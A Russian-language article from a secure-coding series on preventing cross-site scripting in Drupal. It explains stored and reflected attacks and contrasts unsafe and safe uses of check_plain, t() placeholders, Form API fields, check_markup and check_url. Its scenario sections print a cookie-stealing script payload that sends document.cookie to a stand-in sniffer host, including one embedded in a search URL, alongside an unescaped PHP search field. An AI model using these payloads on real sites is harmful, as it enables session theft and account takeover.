Pull to refresh

Безопасный код: Работа с пользовательским вводом

Reading time 5 min
Views 5.5K

(ч2. Подделка межсайтовых запросов; ч2. Работа с базой данных)

Наверняка, XSS атаки остаются самыми популярными наравне с SQL инъекциями. Их принцип прост до безобразия, а последствия разнятся от невинного коверканья вывода страниц до получения злоумышленником полного контроля над сайтом.

Некоторые сценарии XSS атак



Устойчивая атака


  • Вова создает частицу контента на сайте Пети.
  • Когда Маша просматривает этот контент, Вовин XSS ворует Машины куки.
  • Теперь Вова может пробраться на сайт, используя Машину сессию.
  • Чем более людей увидит этот контент, тем более успешной можно считать атаку. Максимум достигается путем создания противоречивых холиварных тем на сайте и т.д.
Вот вам простейший пример как именно происходит воровство куков и их использование.
  • На страницу вставляется код <scrіpt>іmg=new Image();іmg.srс="http://sniffsite/s.php?"+document.cookie;</scrіpt>.
  • На другом конце скрипта стоит логгер запросов. Злоумышленник выбирает из этого лога идентификатор сессии, и создает свою куку, аналогичную куке жертвы.
  • Теперь злоумышленник просто может зайти браузером на сайт, причем уже влогиненным в аккаунт пользователя-жертвы (кука-то жертвы).

И если под обычным аккаунтом злоумышленник может навредить в пределах прав этого аккаунта, то завладев аккаунтом рута (под которым ходят 90% наших друпаллеров) он может буквально убить сайт тем 60% друпаллеров, которые не делают частые бекапы.

Неустойчивая атака


  • Юля использует сайт, написанный Ахмедом. Ахмед предоставляет ей возможность заходить на сайт, используя логин/пароль и держать там личные данные.
  • Вова обыскивает сайт Ахмеда и находит XSS уязвимость.
  • Вова формирует специальную ссылку и отправляет ее Юле по аське.
  • Юля, находясь залогиненной на сайте, переходит по Вовиной ссылке.
  • Запускается XSS, завязанный в ссылке страницы. (Здесь уже все зависит от криворукости Ахмеда и мастерства Вовы. Это может быть использование связанной CSRF уязвимости — Юля, сама того не зная, может отправить пачку спама, удалить весь контент на сайте и т.д., так и более приземленное — кража секретной информации, либо куков.

Что означает XSS, завязанный в ссылке? Очень распространенный пример — форма поиска, с таким кодом
<input type="text" value="<?php print($_GET['srch']); ?>">.

Теперь, если в адресной строке написать site.ru/search.php?srch="><scrіpt>іmg=new Image();іmg.srс="http://snifsite/s.php" +document.cookie;</scrіpt>, мы получим куки каждой жертвы, посетившей этот URL.

Как обезопасить код от XSS?


Ответ прост — фильтровать вывод на страницу.

Методы фильтрации в Друпале


Золотое правило работы с данными — хранить пользовательский ввод в базе именно в том виде, в котором он был отправлен. Поэтому, всю фильтрацию следует производить на этапе вывода пользовательских данных на страницу.

Весь пользовательский ввод можно разделить на два типа:
  1. Текст без разметки (plain text)


    Любой пользовательский ввод, который должен быть подан в виде чистого текста, должен проходить через функцию check_plain(), которая превратит кавычки, амперсанды и угловые скобки в их HTML представление. Затем, такой текст может быть уже вставлен в конечную HTML разметку страницы.

    Большинство функций темизации и API принимают в параметрах строки, и, так или иначе, осуществляют их фильтрацию:
    • t(): В этой функции можно использовать несколько типов заполнителей, которые будут фильтроваться по-разному:
      • !variable — вставится без изменений
      • @variable — пройдет через check_plain().
      • %variable — пройдет через theme('placeholder').

    • l(): Текст ссылки всегда проходит через check_plain(), кроме случаев, когда явно не выставлен ее параметр $html.

    • Элементы меню и «хлебных крошек»: Заголовки автоматически фильтруются.

    • theme('placeholder', $variable): (в реализации по-умолчанию) входящие параметры фильтруется.

    • Описания блоков.

    • Имена пользователей, выводимые через theme('username') (в реализации по-умолчанию).

    • Параметры Form API #default_value и #options (только когда #type == 'select').

    Есть места, в которых никогда не надо забывать о фильтрации:
    • Заголовки страниц, установленных через drupal_set_title(). Заголовки в теле страницы не фильтруются автоматом, чтобы у пользователя имелась возможность использовать там такие теги как <em>. Это не касается заголовка в теге <title>, так как оттуда все теги вырезаются всегда. Примечание: Ситуация изменилась в Drupal 7. Теперь, фильтрация будет осуществляться по-умолчанию, а если необходимо подать в заголовке HTML, нужно будет указать соответствующий параметр в функции drupal_set_title().
      Пример:
      drupal_set_title($node->title); // Опасно
      drupal_set_title(check_plain($node->title)); // Безопасно

    • Заголовки блоков, поданные через hook_block(). Та же причина, что и с заголовками страниц.

    • Сообщения системного лога (watchdog).

      Пример:
      //Drupal 5:
      watchdog('content', t("Deleted !title", array('!title' => $node->title))); // XSS
      watchdog('content', t("Deleted %title", array('%title' => $node->title))); // или @

      //Drupal 6 (The message and variables are passed through t() by the watchdog function):
      watchdog('content', "Deleted !title", array('!title' => $node->title)); // XSS
      watchdog('content', "Deleted %title", array('%title' => $node->title)); // или @


    • Параметры Form API #description и #title.

      Примеры:
      $form['bad'] = array(
      '#type' => 'textfield',
      '#default_value' => check_plain($u_supplied), // плохо: фильтруется дважды
      '#description' => t("Old data: !data", array('!data' => $u_supplied)), // XSS
      );

      $form['good'] = array(
      '#type' => 'textfield',
      '#default_value' => $u_supplied,
      '#description' => t("Old data: @data", array('@data' => $u_supplied)),
      );


    • Параметры Form API #options когда #type равен checkboxes или radios.

      Примеры:
      $form['bad'] = array(
      '#type' => 'checkboxes',
      '#options' => array($u_supplied0, $u_supplied1),
      );

      $form['good'] = array(
      '#type' => 'checkboxes',
      '#options' => array(check_plain($u_supplied0), check_plain($u_supplied1)),
      );


    • Параметры Form API #value, если #type равен markup (помните, что markup — это значение по-умолчанию для #type).

      Примеры:
      $form['unsafe'] = array('#value' => $user->name); //XSS
      $form['safe'] = array('#value' => check_plain($user->name));
      // или
      $form['safe'] = array('#value' => theme('username', $user));



  2. Текст с разметкой


    Размеченный текст нужно фильтровать с помощью check_markup(). Эта функция принимает на вход, кроме самого текста, формат ввода, который содержит правила фильтрации. Поэтому, при формировании форм для текста с разметкой, имеет смысл вводить рядом с многострочными полями виджет для выбора формата ввода(filter_form()).

    Обратите внимание, что пользователь, просматривающий текст с разметкой, прошедший через check_markup(), должен иметь права на просмотр выбранного формата ввода. По-умолчанию, такая проверка осуществляется всегда. Однако, это не всегда нужно, так как контент обычно просматривается пользователями с меньшими правами, нежели у того, кто создал этот контент. Поэтому проверку прав при выводе можно отключить, подав соответствующий параметр в check_markup(). Но вы должны всегда проверять эти права с помощью filter_access() при отправке самой формы с этим контентом.

  3. URL'ы

    • Основная часть урла в функциях l(), url(), request_uri() уже фильтрируется, но вам нужно самостоятельно позаботится о фильтрации GET параметров и якорного фрагмента. Это нужно затем, чтобы случайная или умышленная подача символа # в GET параметрах, не испортила весь урл. Используйте для фильтрации функцию urlencode().

      Пример:
      // Плохо
      l(t('Some link'), $path, array('query' => $query, 'fragment' => $fragment)); // не фильтруются параметры и фрагмент
      l(t('Link'), urlencode($path), array('query' => $query, 'fragment' => $fragment)); // основной путь ссылки не нужно фильтровать

      // Хорошо
      l(t('Link'), $path, array('query' => urlencode($query), 'fragment' => urlencode($fragment)));


    • Когда выводите урл на страницу, пропускайте его через check_url(), который вызывает не только check_plain(), но и проверку правильности протокола урла.

      Пример:
      // Плохо
      print '<a href="/$url">';
      print '<a href="/'. check_plain($url) .'">';

      // Хорошо
      print '<a href="/'. check_url($url) .'">';


-=Бонус=-


Видео-доклад «Introduction Security» с прошедшего друпалкона:

Скачать ролик (226Mb)

Остальные статьи цикла «Безопасный код»

Tags:
Hubs:
+63
Comments 26
Comments Comments 26

Articles